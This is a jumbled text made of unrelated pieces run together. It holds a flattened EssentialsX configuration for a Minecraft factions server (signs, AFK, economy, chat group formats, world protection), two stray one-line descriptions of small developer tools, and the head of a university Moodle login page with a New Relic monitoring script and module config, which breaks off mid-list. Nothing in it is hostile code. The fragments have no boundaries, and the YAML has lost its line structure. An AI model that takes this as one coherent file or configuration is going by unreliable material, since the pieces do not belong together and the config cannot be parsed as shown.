name:&8[&cR&ee&as&be&dt&8]&fLeggings - 301 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fBoots - 354 1 name:&f&l Cake &4Vote # Essentials Sign Control # See http://wiki.ess3.net/wiki/Sign_Tutorial for instructions on how to use these. # To enable signs, remove # symbol. To disable all signs, comment/remove each sign. # Essentials Colored sign support will be enabled when any sign types are enabled. # Color is not an actual sign, it's for enabling using color codes on signs, when the correct permissions are given. enabledSigns: - color - balance - buy - sell #- trade #- free #- disposal #- warp #- kit #- mail #- enchant #- gamemode #- heal #- info #- spawnmob #- repair #- time #- weather # How many times per second can Essentials signs be interacted with per player. # Values should be between 1-20, 20 being virtually no lag protection. # Lower numbers will reduce the possibility of lag, but may annoy players. sign-use-per-second: 4 # Backup runs a batch/bash command while saving is disabled. backup: # Interval in minutes. interval: 30 # Unless you add a valid backup command or script here, this feature will be useless. # Use 'save-all' to simply force regular world saving without backup. #command: 'rdiff-backup World1 backups/World1' # Set this true to enable permission per warp. per-warp-permission: false # Sort output of /list command by groups. # You can hide and merge the groups displayed in /list by defining the desired behaviour here. # Detailed instructions and examples can be found on the wiki: http://wiki.ess3.net/wiki/List list: # To merge groups, list the groups you wish to merge #Staff: owner admin moderator Admins: owner admin # To limit groups, set a max user limit #builder: 20 # To hide groups, set the group as hidden #default: hidden # Uncomment the line below to simply list all players with no grouping #Players: '*' # More output to the console. debug: false # Set the locale for all messages. # If you don't set this, the default locale of the server will be used. # For example, to set language to English, set locale to en, to use the file "messages_en.properties". # Don't forget to remove the # in front of the line. # For more information, visit http://wiki.ess3.net/wiki/Locale #locale: en # Turn off god mode when people exit. remove-god-on-disconnect: false # Auto-AFK # After this timeout in seconds, the user will be set as afk. # This feature requires the player to have essentials.afk.auto node. # Set to -1 for no timeout. auto-afk: 300 # Auto-AFK Kick # After this timeout in seconds, the user will be kicked from the server. # essentials.afk.kickexempt node overrides this feature. # Set to -1 for no timeout. auto-afk-kick: -1 # Set this to true, if you want to freeze the player, if he is afk. # Other players or monsters can't push him out of afk mode then. # This will also enable temporary god mode for the afk player. # The player has to use the command /afk to leave the afk mode. freeze-afk-players: false # When the player is afk, should he be able to pickup items? # Enable this, when you don't want people idling in mob traps. disable-item-pickup-while-afk: false # This setting controls if a player is marked as active on interaction. # When this setting is false, you will need to manually un-AFK using the /afk command. cancel-afk-on-interact: true # Should we automatically remove afk status when the player moves? # Player will be removed from AFK on chat/command regardless of this setting. # Disable this to reduce server lag. cancel-afk-on-move: true # You can disable the death messages of Minecraft here. death-messages: false # Should operators be able to join and part silently. # You can control this with permissions if it is enabled. allow-silent-join-quit: true # You can set a custom join message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-join-message: "" # You can set a custom quit message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-quit-message: "" # Add worlds to this list, if you want to automatically disable god mode there. no-god-in-worlds: # - world_nether # Set to true to enable per-world permissions for teleporting between worlds with essentials commands. # This applies to /world, /back, /tp[a|o][here|all], but not warps. # Give someone permission to teleport to a world with essentials.worlds.<worldname> # This does not affect the /home command, there is a separate toggle below for this. world-teleport-permissions: false # The number of items given if the quantity parameter is left out in /item or /give. # If this number is below 1, the maximum stack size size is given. If over-sized stacks. # are not enabled, any number higher than the maximum stack size results in more than one stack. default-stack-size: -1 # Over-sized stacks are stacks that ignore the normal max stack size. # They can be obtained using /give and /item, if the player has essentials.oversizedstacks permission. # How many items should be in an over-sized stack? oversized-stacksize: 64 # Allow repair of enchanted weapons and armor. # If you set this to false, you can still allow it for certain players using the permission. # essentials.repair.enchanted repair-enchanted: true # Allow 'unsafe' enchantments in kits and item spawning. # Warning: Mixing and overleveling some enchantments can cause issues with clients, servers and plugins. unsafe-enchantments: false #Do you want essentials to keep track of previous location for /back in the teleport listener? #If you set this to true any plugin that uses teleport will have the previous location registered. register-back-in-listener: false #Delay to wait before people can cause attack damage after logging in. login-attack-delay: 5 #Set the max fly speed, values range from 0.1 to 1.0 max-fly-speed: 0.8 #Set the max walk speed, values range from 0.1 to 1.0 max-walk-speed: 0.8 #Set the maximum amount of mail that can be sent within a minute. mails-per-minute: 1000 # Set the maximum time /tempban can be used for in seconds. # Set to -1 to disable, and essentials.tempban.unlimited can be used to override. max-tempban-time: -1 ############################################################ # +------------------------------------------------------+ # # | EssentialsHome | # # +------------------------------------------------------+ # ############################################################ # Allows people to set their bed at daytime. update-bed-at-daytime: true # Set to true to enable per-world permissions for using homes to teleport between worlds. # This applies to the /home only. # Give someone permission to teleport to a world with essentials.worlds.<worldname> world-home-permissions: false # Allow players to have multiple homes. # Players need essentials.sethome.multiple before they can have more than 1 home. # You can set the default number of multiple homes using the 'default' rank below. # To remove the home limit entirely, give people 'essentials.sethome.multiple.unlimited'. # To grant different home amounts to different people, you need to define a 'home-rank' below. # Create the 'home-rank' below, and give the matching permission: essentials.sethome.multiple.<home-rank> # For more information, visit http://wiki.ess3.net/wiki/Multihome sethome-multiple: Goblin: 1 Villager: 2 Knight: 3 King: 4 Hero: 5 God: 6 # In this example someone with 'essentials.sethome.multiple' and 'essentials.sethome.multiple.vip' will have 5 homes. # Set timeout in seconds for players to accept tpa before request is cancelled. # Set to 0 for no timeout. tpa-accept-cancellation: 120 ############################################################ # +------------------------------------------------------+ # # | EssentialsEco | # # +------------------------------------------------------+ # ############################################################ # For more information, visit http://wiki.ess3.net/wiki/Essentials_Economy # Defines the balance with which new players begin. Defaults to 0. starting-balance: 1000 # worth-# defines the value of an item when it is sold to the server via /sell. # These are now defined in worth.yml # Defines the cost to use the given commands PER USE. # Some commands like /repair have sub-costs, check the wiki for more information. command-costs: # /example costs $1000 PER USE #example: 1000 # /kit tools costs $1500 PER USE #kit-tools: 1500 # Set this to a currency symbol you want to use. currency-symbol: '$' # Set the maximum amount of money a player can have. # The amount is always limited to 10 trillion because of the limitations of a java double. max-money: 10000000000000 # Set the minimum amount of money a player can have (must be above the negative of max-money). # Setting this to 0, will disable overdrafts/loans completely. Users need 'essentials.eco.loan' perm to go below 0. min-money: -10000 # Enable this to log all interactions with trade/buy/sell signs and sell command. economy-log-enabled: false ############################################################ # +------------------------------------------------------+ # # | EssentialsHelp | # # +------------------------------------------------------+ # ############################################################ # Show other plugins commands in help. non-ess-in-help: true # Hide plugins which do not give a permission. # You can override a true value here for a single plugin by adding a permission to a user/group. # The individual permission is: essentials.help.<plugin>, anyone with essentials.* or '*' will see all help regardless. # You can use negative permissions to remove access to just a single plugins help if the following is enabled. hide-permissionless-help: true ############################################################ # +------------------------------------------------------+ # # | EssentialsChat | # # +------------------------------------------------------+ # ############################################################ chat: # If EssentialsChat is installed, this will define how far a player's voice travels, in blocks. Set to 0 to make all chat global. # Note that users with the "essentials.chat.spy" permission will hear everything, regardless of this setting. # Users with essentials.chat.shout can override this by prefixing text with an exclamation mark (!) # Users with essentials.chat.question can override this by prefixing text with a question mark (?) # You can add command costs for shout/question by adding chat-shout and chat-question to the command costs section." radius: 0 # Chat formatting can be done in two ways, you can either define a standard format for all chat. # Or you can give a group specific chat format, to give some extra variation. # If set to the default chat format which "should" be compatible with ichat. # For more information of chat formatting, check out the wiki: http://wiki.ess3.net/wiki/Chat_Formatting format: '<{DISPLAYNAME}> {MESSAGE}' #format: '&7[{GROUP}]&r {DISPLAYNAME}&7:&r {MESSAGE}' group-formats: Goblin: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Youtuber: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Witch: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Wizard: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Sorcerer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Raider: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Greifer: '&7{DISPLAYNAME}&8:&a {MESSAGE}' ChatMod: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Owner: '&7{DISPLAYNAME}&8:&c {MESSAGE}' OP: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Developer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Admin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' JuniorAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' StaffManager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' ForumAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadModerator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Moderator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Helper: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Villager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Knight: '&7{DISPLAYNAME}&8:&f {MESSAGE}' King: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Hero: '&7{DISPLAYNAME}&8:&f {MESSAGE}' God: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Legend: '&7{DISPLAYNAME}&8:&b {MESSAGE}' # If you are using group formats make sure to remove the '#' to allow the setting to be read. ############################################################ # +------------------------------------------------------+ # # | EssentialsProtect | # # +------------------------------------------------------+ # ############################################################ protect: # General physics/behavior modifications. prevent: lava-flow: false water-flow: false water-bucket-flow: false fire-spread: true lava-fire-spread: true flint-fire: false lightning-fire-spread: true portal-creation: false tnt-explosion: false tnt-playerdamage: false tnt-minecart-explosion: false tnt-minecart-playerdamage: false fireball-explosion: false fireball-fire: false fireball-playerdamage: false witherskull-explosion: false witherskull-playerdamage: false wither-spawnexplosion: false wither-blockreplace: false creeper-explosion: false creeper-playerdamage: false creeper-blockdamage: false enderdragon-blockdamage: true enderman-pickup: false villager-death: false # Monsters won't follow players. # permission essentials.protect.entitytarget.bypass disables this. entitytarget: false # Prevent the spawning of creatures. spawn: creeper: false skeleton: false spider: false giant: false zombie: false slime: false ghast: false pig_zombie: false enderman: false cave_spider: false silverfish: false blaze: false magma_cube: false ender_dragon: false pig: false sheep: false cow: false chicken: false squid: false wolf: false mushroom_cow: false snowman: false ocelot: false iron_golem: false villager: false wither: true bat: false witch: false horse: false # Maximum height the creeper should explode. -1 allows them to explode everywhere. # Set prevent.creeper-explosion to true, if you want to disable creeper explosions. creeper: max-height: -1 # Disable various default physics and behaviors. disable: # Should fall damage be disabled? fall: false # Users with the essentials.protect.pvp permission will still be able to attack each other if this is set to true. # They will be unable to attack users without that same permission node. pvp: false # Should drowning damage be disabled? # (Split into two behaviors; generally, you want both set to the same value.) drown: false suffocate: false # Should damage via lava be disabled? Items that fall into lava will still burn to a crisp. ;) lavadmg: false # Should arrow damage be disabled? projectiles: false # This will disable damage from touching cacti. contactdmg: false # Burn, baby, burn! Should fire damage be disabled? firedmg: false # Should the damage after hit by a lightning be disabled? lightning: false # Should Wither damage be disabled? wither: false # Disable weather options? weather: storm: false thunder: false lightning: false ############################################################ # +------------------------------------------------------+ # # | EssentialsAntiBuild | # # +------------------------------------------------------+ # ############################################################ # Disable various default physics and behaviors # For more information, visit http://wiki.ess3.net/wiki/AntiBuild # Should people with build: false in permissions be allowed to build? # Set true to disable building for those people. # Setting to false means EssentialsAntiBuild will never prevent you from building. build: true # Should people with build: false in permissions be allowed to use items? # Set true to disable using for those people. # Setting to false means EssentialsAntiBuild will never prevent you from using items. use: true # Should we tell people they are not allowed to build? warn-on-build-disallow: true # For which block types would you like to be alerted? # You can find a list of IDs in plugins/Essentials/items.csv after loading Essentials for the first time. # 10 = lava :: 11 = still lava :: 46 = TNT :: 327 = lava bucket alert: on-placement: 10,11,46,327 on-use: 327 on-break: blacklist: # Which blocks should people be prevented from placing? placement: 10,11,46,327 # Which items should people be prevented from using? usage: 327 # Which blocks should people be prevented from breaking? break: # Which blocks should not be pushed by pistons? piston: # Which blocks should not be dispensed by dispensers dispenser: ############################################################ # +------------------------------------------------------+ # # | Essentials Spawn / New Players | # # +------------------------------------------------------+ # ############################################################ newbies: # Should we announce to the server when someone logs in for the first time? # If so, use this format, replacing {DISPLAYNAME} with the player name. # If not, set to '' #announce-format: '' announce-format: '&cWelcome &e&l{DISPLAYNAME}&c to the &8R&7e&8t&7r&8o&4-&cFactions server!' # When we spawn for the first time, which spawnpoint do we use? # Set to "none" if you want to use the spawn point of the world. spawnpoint: newbies # Do we want to give users anything on first join? Set to '' to disable # This kit will be given regardless of cost, and permissions. #kit: '' kit: join # Set this to lowest, if you want Multiverse to handle the respawning. # Set this to high, if you want EssentialsSpawn to handle the respawning. # Set this to highest, if you want to force EssentialsSpawn to handle the respawning. respawn-listener-priority: high # When users die, should they respawn at their first home or bed, instead of the spawnpoint? respawn-at-home: false # End of File <-- No seriously, you're done with configuration.

A simple module that makes ignoring the node require cache easy.

Quick and dirty way to make Dropbox ignore node_modules (and others)

<!DOCTYPE html> <html dir="ltr" lang="en" xml:lang="en"> <head> <!-- front --> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>iLearn: Log in to the site</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><script type="text/javascript">window.NREUM||(NREUM={}),__nr_require=function(e,t,n){function r(n){if(!t[n]){var o=t[n]={exports:{}};e[n][0].call(o.exports,function(t){var o=e[n][1][t];return r(o||t)},o,o.exports)}return t[n].exports}if("function"==typeof __nr_require)return __nr_require;for(var o=0;o<n.length;o++)r(n[o]);return r}({1:[function(e,t,n){function r(){}function o(e,t,n){return function(){return i(e,[(new Date).getTime()].concat(u(arguments)),t?null:this,n),t?void 0:this}}var i=e("handle"),a=e(2),u=e(3),c=e("ee").get("tracer"),f=NREUM;"undefined"==typeof window.newrelic&&(newrelic=f);var s=["setPageViewName","setCustomAttribute","setErrorHandler","finished","addToTrace","inlineHit","addRelease"],l="api-",p=l+"ixn-";a(s,function(e,t){f[t]=o(l+t,!0,"api")}),f.addPageAction=o(l+"addPageAction",!0),f.setCurrentRouteName=o(l+"routeName",!0),t.exports=newrelic,f.interaction=function(){return(new r).get()};var d=r.prototype={createTracer:function(e,t){var n={},r=this,o="function"==typeof t;return i(p+"tracer",[Date.now(),e,n],r),function(){if(c.emit((o?"":"no-")+"fn-start",[Date.now(),r,o],n),o)try{return t.apply(this,arguments)}finally{c.emit("fn-end",[Date.now()],n)}}}};a("setName,setAttribute,save,ignore,onEnd,getContext,end,get".split(","),function(e,t){d[t]=o(p+t)}),newrelic.noticeError=function(e){"string"==typeof e&&(e=new Error(e)),i("err",[e,(new Date).getTime()])}},{}],2:[function(e,t,n){function r(e,t){var n=[],r="",i=0;for(r in e)o.call(e,r)&&(n[i]=t(r,e[r]),i+=1);return n}var o=Object.prototype.hasOwnProperty;t.exports=r},{}],3:[function(e,t,n){function r(e,t,n){t||(t=0),"undefined"==typeof n&&(n=e?e.length:0);for(var r=-1,o=n-t||0,i=Array(o<0?0:o);++r<o;)i[r]=e[t+r];return i}t.exports=r},{}],ee:[function(e,t,n){function r(){}function o(e){function t(e){return e&&e instanceof r?e:e?c(e,u,i):i()}function n(n,r,o){if(!p.aborted){e&&e(n,r,o);for(var i=t(o),a=v(n),u=a.length,c=0;c<u;c++)a[c].apply(i,r);var f=s[w[n]];return f&&f.push([y,n,r,i]),i}}function d(e,t){b[e]=v(e).concat(t)}function v(e){return b[e]||[]}function g(e){return l[e]=l[e]||o(n)}function m(e,t){f(e,function(e,n){t=t||"feature",w[n]=t,t in s||(s[t]=[])})}var b={},w={},y={on:d,emit:n,get:g,listeners:v,context:t,buffer:m,abort:a,aborted:!1};return y}function i(){return new r}function a(){(s.api||s.feature)&&(p.aborted=!0,s=p.backlog={})}var u="nr@context",c=e("gos"),f=e(2),s={},l={},p=t.exports=o();p.backlog=s},{}],gos:[function(e,t,n){function r(e,t,n){if(o.call(e,t))return e[t];var r=n();if(Object.defineProperty&&Object.keys)try{return Object.defineProperty(e,t,{value:r,writable:!0,enumerable:!1}),r}catch(i){}return e[t]=r,r}var o=Object.prototype.hasOwnProperty;t.exports=r},{}],handle:[function(e,t,n){function r(e,t,n,r){o.buffer([e],r),o.emit(e,t,n)}var o=e("ee").get("handle");t.exports=r,r.ee=o},{}],id:[function(e,t,n){function r(e){var t=typeof e;return!e||"object"!==t&&"function"!==t?-1:e===window?0:a(e,i,function(){return o++})}var o=1,i="nr@id",a=e("gos");t.exports=r},{}],loader:[function(e,t,n){function r(){if(!h++){var e=y.info=NREUM.info,t=l.getElementsByTagName("script")[0];if(setTimeout(f.abort,3e4),!(e&&e.licenseKey&&e.applicationID&&t))return f.abort();c(b,function(t,n){e[t]||(e[t]=n)}),u("mark",["onload",a()],null,"api");var n=l.createElement("script");n.src="https://"+e.agent,t.parentNode.insertBefore(n,t)}}function o(){"complete"===l.readyState&&i()}function i(){u("mark",["domContent",a()],null,"api")}function a(){return(new Date).getTime()}var u=e("handle"),c=e(2),f=e("ee"),s=window,l=s.document,p="addEventListener",d="attachEvent",v=s.XMLHttpRequest,g=v&&v.prototype;NREUM.o={ST:setTimeout,CT:clearTimeout,XHR:v,REQ:s.Request,EV:s.Event,PR:s.Promise,MO:s.MutationObserver},e(1);var m=""+location,b={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net",agent:"js-agent.newrelic.com/nr-1016.min.js"},w=v&&g&&g[p]&&!/CriOS/.test(navigator.userAgent),y=t.exports={offset:a(),origin:m,features:{},xhrWrappable:w};l[p]?(l[p]("DOMContentLoaded",i,!1),s[p]("load",r,!1)):(l[d]("onreadystatechange",o),s[d]("onload",r)),u("mark",["firstbyte",a()],null,"api");var h=0},{}]},{},["loader"]);</script> <meta name="keywords" content="moodle, iLearn: Log in to the site" /> <link rel="stylesheet" type="text/css" href="https://ilearn.mq.edu.au/theme/yui_combo.php?r1487942275&rollup/3.17.2/yui-moodlesimple-min.css" /><script id="firstthemesheet" type="text/css">/** Required in order to fix style inclusion problems in IE with YUI **/</script><link rel="stylesheet" type="text/css" href="https://ilearn.mq.edu.au/theme/styles.php/mqu/1487942275/all" /> <script type="text/javascript"> //<![CDATA[ var M = {}; M.yui = {}; M.pageloadstarttime = new Date(); M.cfg = {"wwwroot":"https:\/\/ilearn.mq.edu.au","sesskey":"mDL5SddUvA","loadingicon":"https:\/\/ilearn.mq.edu.au\/theme\/image.php\/mqu\/core\/1487942275\/i\/loading_small","themerev":"1487942275","slasharguments":1,"theme":"mqu","jsrev":"1487942275","admin":"admin","svgicons":true};var yui1ConfigFn = function(me) {if(/-skin|reset|fonts|grids|base/.test(me.name)){me.type='css';me.path=me.path.replace(/\.js/,'.css');me.path=me.path.replace(/\/yui2-skin/,'/assets/skins/sam/yui2-skin')}}; var yui2ConfigFn = function(me) {var parts=me.name.replace(/^moodle-/,'').split('-'),component=parts.shift(),module=parts[0],min='-min';if(/-(skin|core)$/.test(me.name)){parts.pop();me.type='css';min=''};if(module){var filename=parts.join('-');me.path=component+'/'+module+'/'+filename+min+'.'+me.type}else me.path=component+'/'+component+'.'+me.type}; YUI_config = {"debug":false,"base":"https:\/\/ilearn.mq.edu.au\/lib\/yuilib\/3.17.2\/","comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?r1487942275&","combine":true,"filter":null,"insertBefore":"firstthemesheet","groups":{"yui2":{"base":"https:\/\/ilearn.mq.edu.au\/lib\/yuilib\/2in3\/2.9.0\/build\/","comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?r1487942275&","combine":true,"ext":false,"root":"2in3\/2.9.0\/build\/","patterns":{"yui2-":{"group":"yui2","configFn":yui1ConfigFn}}},"moodle":{"name":"moodle","base":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?m\/1487942275\/","combine":true,"comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?r1487942275&","ext":false,"root":"m\/1487942275\/","patterns":{"moodle-":{"group":"moodle","configFn":yui2ConfigFn}},"filter":null,"modules":{"moodle-core-actionmenu":{"requires":["base","event","node-event-simulate"]},"moodle-core-blocks":{"requires":["base","node","io","dom","dd","dd-scroll","moodle-core-dragdrop","moodle-core-notification"]},"moodle-core-checknet":{"requires":["base-base","moodle-core-notification-alert","io-base"]},"moodle-core-chooserdialogue":{"requires":["base","panel","moodle-core-notification"]},"moodle-core-dock":{"requires":["base","node","event-custom","event-mouseenter","event-resize","escape","moodle-core-dock-loader","moodle-core-event"]},"moodle-core-dock-loader":{"requires":["escape"]},"moodle-core-dragdrop":{"requires":["base","node","io","dom","dd","event-key","event-focus","moodle-core-notification"]},"moodle-core-event":{"requires":["event-custom"]},"moodle-core-formautosubmit":{"requires":["base","event-key"]},"moodle-core-formchangechecker":{"requires":["base","event-focus","moodle-core-event"]},"moodle-core-handlebars":{"condition":{"trigger":"handlebars","when":"after"}},"moodle-core-languninstallconfirm":{"requires":["base","node","moodle-core-notification-confirm","moodle-core-notification-alert"]},"moodle-core-lockscroll":{"requires":["plugin","base-build"]},"moodle-core-maintenancemodetimer":{"requires":["base","node"]},"moodle-core-notification":{"requires":["moodle-core-notification-dialogue","moodle-core-notification-alert","moodle-core-notification-confirm","moodle-core-notification-exception","moodle-core-notification-ajaxexception"]},"moodle-core-notification-dialogue":{"requires":["base","node","panel","escape","event-key","dd-plugin","moodle-core-widget-focusafterclose","moodle-core-lockscroll"]},"moodle-core-notification-alert":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-notification-confirm":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-notification-exception":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-notification-ajaxexception":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-popuphelp":{"requires":["moodle-core-tooltip"]},"moodle-core-session-extend":{"requires":["base","node","io-base","panel","dd-plugin"]},"moodle-core-tooltip":{"requires":["base","node","io-base","moodle-core-notification-dialogue","json-parse","widget-position","widget-position-align","event-outside","cache-base"]},"moodle-core_availability-form":{"requires":["base","node","event","panel","moodle-core-notification-dialogue","json"]},"moodle-backup-backupselectall":{"requires":["node","event","node-event-simulate","anim"]},"moodle-backup-confirmcancel":{"requires":["node","node-event-simulate","moodle-core-notification-confirm"]},"moodle-calendar-info":{"requires":["base","node","event-mouseenter","event-key","overlay","moodle-calendar-info-skin"]},"moodle-course-categoryexpander":{"requires":["node","event-key"]},"moodle-course-dragdrop":{"requires":["base","node","io","dom","dd","dd-scroll","moodle-core-dragdrop","moodle-core-notification","moodle-course-coursebase","moodle-course-util"]},"moodle-course-formatchooser":{"requires":["base","node","node-event-simulate"]},"moodle-course-management":{"requires":["base","node","io-base","moodle-core-notification-exception","json-parse","dd-constrain","dd-proxy","dd-drop","dd-delegate","node-event-delegate"]},"moodle-course-modchooser":{"requires":["moodle-core-chooserdialogue","moodle-course-coursebase"]},"moodle-course-toolboxes":{"requires":["node","base","event-key","node","io","moodle-course-coursebase","moodle-course-util"]},"moodle-course-util":{"requires":["node"],"use":["moodle-course-util-base"],"submodules":{"moodle-course-util-base":{},"moodle-course-util-section":{"requires":["node","moodle-course-util-base"]},"moodle-course-util-cm":{"requires":["node","moodle-course-util-base"]}}},"moodle-form-dateselector":{"requires":["base","node","overlay","calendar"]},"moodle-form-passwordunmask":{"requires":["node","base"]},"moodle-form-shortforms":{"requires":["node","base","selector-css3","moodle-core-event"]},"moodle-form-showadvanced":{"requires":["node","base","selector-css3"]},"moodle-core_message-messenger":{"requires":["escape","handlebars","io-base","moodle-core-notification-ajaxexception","moodle-core-notification-alert","moodle-core-notification-dialogue","moodle-core-notification-exception"]},"moodle-core_message-deletemessage":{"requires":["node","event"]},"moodle-question-chooser":{"requires":["moodle-core-chooserdialogue"]},"moodle-question-preview":{"requires":["base","dom","event-delegate","event-key","core_question_engine"]},"moodle-question-qbankmanager":{"requires":["node","selector-css3"]},"moodle-question-searchform":{"requires":["base","node"]},"moodle-availability_completion-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_date-form":{"requires":["base","node","event","io","moodle-core_availability-form"]},"moodle-availability_grade-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_group-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_grouping-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_profile-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-qtype_ddimageortext-dd":{"requires":["node","dd","dd-drop","dd-constrain"]},"moodle-qtype_ddimageortext-form":{"requires":["moodle-qtype_ddimageortext-dd","form_filepicker"]},"moodle-qtype_ddmarker-dd":{"requires":["node","event-resize","dd","dd-drop","dd-constrain","graphics"]},"moodle-qtype_ddmarker-form":{"requires":["moodle-qtype_ddmarker-dd","form_filepicker","graphics","escape"]},"moodle-qtype_ddwtos-dd":{"requires":["node","dd","dd-drop","dd-constrain"]},"moodle-mod_assign-history":{"requires":["node","transition"]},"moodle-mod_attendance-groupfilter":{"requires":["base","node"]},"moodle-mod_dialogue-autocomplete":{"requires":["base","node","json-parse","autocomplete","autocomplete-filters","autocomplete-highlighters","event","event-key"]},"moodle-mod_dialogue-clickredirector":{"requires":["base","node","json-parse","clickredirector","clickredirector-filters","clickredirector-highlighters","event","event-key"]},"moodle-mod_dialogue-userpreference":{"requires":["base","node","json-parse","userpreference","userpreference-filters","userpreference-highlighters","event","event-key"]},"moodle-mod_forum-subscriptiontoggle":{"requires":["base-base","io-base"]},"moodle-mod_oublog-savecheck":{"requires":["base","node","io","panel","moodle-core-notification-alert"]},"moodle-mod_oublog-tagselector":{"requires":["base","node","autocomplete","autocomplete-filters","autocomplete-highlighters"]},"moodle-mod_quiz-autosave":{"requires":["base","node","event","event-valuechange","node-event-delegate","io-form"]},"moodle-mod_quiz-dragdrop":{"requires":["base","node","io","dom","dd","dd-scroll","moodle-core-dragdrop","moodle-core-notification","moodle-mod_quiz-quizbase","moodle-mod_quiz-util-base","moodle-mod_quiz-util-page","moodle-mod_quiz-util-slot","moodle-course-util"]},"moodle-mod_quiz-modform":{"requires":["base","node","event"]},"moodle-mod_quiz-questionchooser":{"requires":["moodle-core-chooserdialogue","moodle-mod_quiz-util","querystring-parse"]},"moodle-mod_quiz-quizbase":{"requires":["base","node"]},"moodle-mod_quiz-quizquestionbank":{"requires":["base","event","node","io","io-form","yui-later","moodle-question-qbankmanager","moodle-core-notification-dialogue"]},"moodle-mod_quiz-randomquestion":{"requires":["base","event","node","io","moodle-core-notification-dialogue"]},"moodle-mod_quiz-repaginate":{"requires":["base","event","node","io","moodle-core-notification-dialogue"]},"moodle-mod_quiz-toolboxes":{"requires":["base","node","event","event-key","io","moodle-mod_quiz-quizbase","moodle-mod_quiz-util-slot","moodle-core-notification-ajaxexception"]},"moodle-mod_quiz-util":{"requires":["node"],"use":["moodle-mod_quiz-util-base"],"submodules":{"moodle-mod_quiz-util-base":{},"moodle-mod_quiz-util-slot":{"requires":["node","moodle-mod_quiz-util-base"]},"moodle-mod_quiz-util-page":{"requires":["node","moodle-mod_quiz-util-base"]}}},"moodle-message_airnotifier-toolboxes":{"requires":["base","node","io"]},"moodle-filter_glossary-autolinker":{"requires":["base","node","io-base","json-parse","event-delegate","overlay","moodle-core-event","moodle-core-notification-alert","moodle-core-notification-exception","moodle-core-notification-ajaxexception"]},"moodle-filter_mathjaxloader-loader":{"requires":["moodle-core-event"]},"moodle-editor_atto-editor":{"requires":["node","transition","io","overlay","escape","event","event-simulate","event-custom","node-event-html5","node-event-simulate","yui-throttle","moodle-core-notification-dialogue","moodle-core-notification-confirm","moodle-editor_atto-rangy","handlebars","timers","querystring-stringify"]},"moodle-editor_atto-plugin":{"requires":["node","base","escape","event","event-outside","handlebars","event-custom","timers","moodle-editor_atto-menu"]},"moodle-editor_atto-menu":{"requires":["moodle-core-notification-dialogue","node","event","event-custom"]},"moodle-editor_atto-rangy":{"requires":[]},"moodle-report_eventlist-eventfilter":{"requires":["base","event","node","node-event-delegate","datatable","autocomplete","autocomplete-filters"]},"moodle-report_loglive-fetchlogs":{"requires":["base","event","node","io","node-event-delegate"]},"moodle-gradereport_grader-gradereporttable":{"requires":["base","node","event","handlebars","overlay","event-hover"]},"moodle-gradereport_history-userselector":{"requires":["escape","event-delegate","event-key","handlebars","io-base","json-parse","moodle-core-notification-dialogue"]},"moodle-tool_capability-search":{"requires":["base","node"]},"moodle-tool_lp-dragdrop-reorder":{"requires":["moodle-core-dragdrop"]},"moodle-assignfeedback_editpdf-editor":{"requires":["base","event","node","io","graphics","json","event-move","event-resize","transition","querystring-stringify-simple","moodle-core-notification-dialog","moodle-core-notification-exception","moodle-core-notification-ajaxexception"]},"moodle-atto_accessibilitychecker-button":{"requires":["color-base","moodle-editor_atto-plugin"]},"moodle-atto_accessibilityhelper-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_align-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_bold-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_charmap-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_chemistry-button":{"requires":["moodle-editor_atto-plugin","moodle-core-event","io","event-valuechange","tabview","array-extras"]},"moodle-atto_clear-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_collapse-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_emoticon-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_equation-button":{"requires":["moodle-editor_atto-plugin","moodle-core-event","io","event-valuechange","tabview","array-extras"]},"moodle-atto_html-button":{"requires":["moodle-editor_atto-plugin","event-valuechange"]},"moodle-atto_image-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_indent-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_italic-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_link-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_managefiles-button":{"requires":["moodle-